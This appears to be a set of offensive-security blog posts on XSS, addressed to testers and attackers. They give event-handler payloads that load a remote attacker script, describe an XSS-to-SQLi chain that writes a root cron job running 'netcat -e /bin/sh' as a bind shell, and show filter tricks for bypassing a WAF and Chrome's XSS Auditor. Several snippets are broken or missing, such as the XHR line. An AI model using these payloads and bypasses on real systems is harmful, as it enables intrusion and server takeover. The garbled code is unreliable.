Calling Remote Script With Event Handlers

xss-funnelAfter a tester or attacker is able to pop an alert box, the next step is to call an external script to do whatever he/she wants to do with the victim. In scenarios where XSS is not possible with “<script src=//HOST>” or similar, we need to build the request to load our remote code.

So let’s see 5 of possible ways to make this happen, in descending order of payload length. All examples will use “//0” as HOST which points to localhost, having the default index file as the injected script. A CORS header is also needed to make this work for different origins.

All the following can be used like in this example form: <svg onload=PAYLOAD>.

1 – XHR

The old way, but uses too much chars. Response is written in the current document with write() so it needs to contain HTML.

"var x=new XMLHttpRequest();'GET','//0');x.send();

2 – Fetch

The new fetch() API makes things easier. Again, response is written and must be HTML.

3 – Create Element

Straightforward, a script element is created in DOM. Response must be javascript code.

with(top)body.appendChild (createElement('script')).src='//0'

4 – jQuery Get

If there’s a native jQuery library loaded in target page, request becomes shorter. Response must be HTML.


5 – jQuery Get Script

Like above, but response must be javascript code.



In order to make remote calls easier to handle, the following PHP file can be used. It has the CORS requirement and HTML + javascript code combined in such a way that it works with both types of inclusion in the document.


You can host this file locally and test all above payloads here.


Four Horsemen of the Web Apocalypse

Since the very first days of the world wide web, these applications are being a great target for hackers minds. New ways to interact with systems via HTTP protocol and technologies gave rise to a whole set of attacks. But until now, some of them remain very special: Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Structured Query Language injection (SQLi) and Remote Code Execution (RCE).

As you may imagine, they are in an ascending order of danger with all the first 3 leading to the last one, RCE. XSS and CSRF are widespread and overlooked while SQLi and RCE although less prevalent are much more deadly. In theory, it’s possible to mount an attack using all of them at the same time, in an interesting analogy to the four horsemen of the apocalypse.

Let’s analyze this. We have a common XSS vector, “<svg onload”, with a simple GET request to a HOST made by fetch() API. The address used is (theoretically) vulnerable to SQLi by means of the id parameter in the default index page. Of course, this would only make sense if the attacker or tester is not able to make that request by him/herself.

So we have also a cross-site scenario: a XSS payload executing in an internal network, for example, where only the victim can make requests to HOST, our target. Another requirement is that MySQL (in our example) runs as root, which would be hard to find in the wild but not in intranets, where there can be personal or development servers.

So with a “SELECT INTO OUTFILE” SQL statement, a cron job is created (/etc/cron.d/s) and scheduled on target machine to run every minute (* * * * *) by root to run a dangerous version of netcat (-e flag). This executes a shell (/bin/sh) at port 53, the same used for DNS which is more likely to be allowed in a firewall (after port 80). A better approach would be to make a reverse connection to attacker/tester but with only 140 characters to tweet (less the ones from the pic), it seems enough to prove a point: RCE.

Here is a video of this exploitation in a local virtual network with all steps to reproduce here (but it’s old).


The Easiest Way to Bypass XSS Mitigations

The most straightforward and reliable way to bypass any protection between a tester/attacker and a target application is to use some filtering practices against these very protections.

For a security reason or not, a developer makes some sort of filtering in his/her own code without realizing it can be used to trick any other device or code that will stand between his own and user of application. In this post we will see this affecting a WAF (Web Application Firewall) and a browser anti-XSS filter, both common mitigation solutions.

By using language native or custom functions, a developer can strip or replace what he/she thinks is a dangerous (or unnecessary) character or string. So let’s first see what happens when an application strips spaces from user input.

Here is a PHP page with reflections of 2 URL parameters, “p” and “q”. The first one, “p”, is just a simple

echo $_GET[“p”];

and then, because this page is not whitelisted in my WAF (Web Application Firewall) settings, we are not able to exploit this flaw in a common situation like we can see below. In fact, this (excellent) security solution from Sucuri, named CloudProxy, can detect the XSS attempt even without the alert(1) part, with just a “<svg onload=” input.


The second parameter, “q”, is there to exemplify the bypass. Here is its PHP code:

echo str_replace(“ ”, “”, $_GET[“q”]);

which replaces any white spaces from input. This is enough to trick CloudProxy and XSS Auditor, Google Chrome’s mitigation solution, at the same time.


By adding “+”, usually parsed as white spaces by applications, in strategic places of vector/payload, both security solutions fail because of stripping of a single character. No WAF can see this as a XSS attack because “<” is not immediately followed by a alphabetic character and Auditor can’t see this as similar enough to what is reflected in source, the way this solution uses to catch XSS attempts.

They stand between what is sent by an attacker and what is really echoed back by application, which is not necessarily the same. Without a minimum match there’s no way to identify it as malicious.

Another way to use application against security measures is by abusing char/string replaces. Here is another page, this time with 4 URL parameters, “p”, “q”, “r” and “s”. This page is white listed in WAF settings, because none of these will be enough to bypass it: the presence of this replaced string (“<script”) in every request triggers WAF blocking. But it will work against Auditor.

echo $_GET[“p”];
echo str_ireplace(“<script”, “”, $_GET[“q”]);
echo str_ireplace(“<script”,“InvalidTag”, $_GET[“r”]);
echo str_ireplace(“<script”,“<InvalidTag”, $_GET[“s”]);

As we can see below, using the “p” parameter, Auditor catches it easily.


With “q” parameter, we can see “<script” being stripped.


So by using it right where it would confuse Auditor (in the middle of “on” of event handler), we can alert it.


In the “r” parameter, the replacing issue is “fixed”. A developer replaces it with a harmless string (like we can see in the wild), that mess with our previous construction.


So we try to use the replaced string (“InvalidTag”) as a javascript string. But doing it in the wrong way, browser throws an error (in red).


That’s because we are passing to event handler only the string, enclosed by quotes. This is the standard way to assign values to attributes in HTML, so javascript parsing stops in the second quote and there’s no “InvalidTag” defined. So we try to fix the syntax.


It doesn’t work. It becomes too obvious for Auditor to catch it. But what if we try the ES6 way to enclose javascript strings?


Nice. Another interesting way to do this, though not universally applicable as the previous one (because it can’t accept special chars), follows.



Using the replaced string as a label, it’s also possible to alert in a very elegant way.

Unfortunately, none of the above replacing tricks can be used with the last parameter, “s”. Auditor seems to flag the input due to presence of “<” character  in both request and response.


But, developers beware: this can’t be considered an anti- XSS solution, even if employed against all HTML tags (with a regex, for example). It opens another door to a tester/attacker by using the resulting “<InvalidTag” string with any of the agnostic event handlers to form a new attacking vector.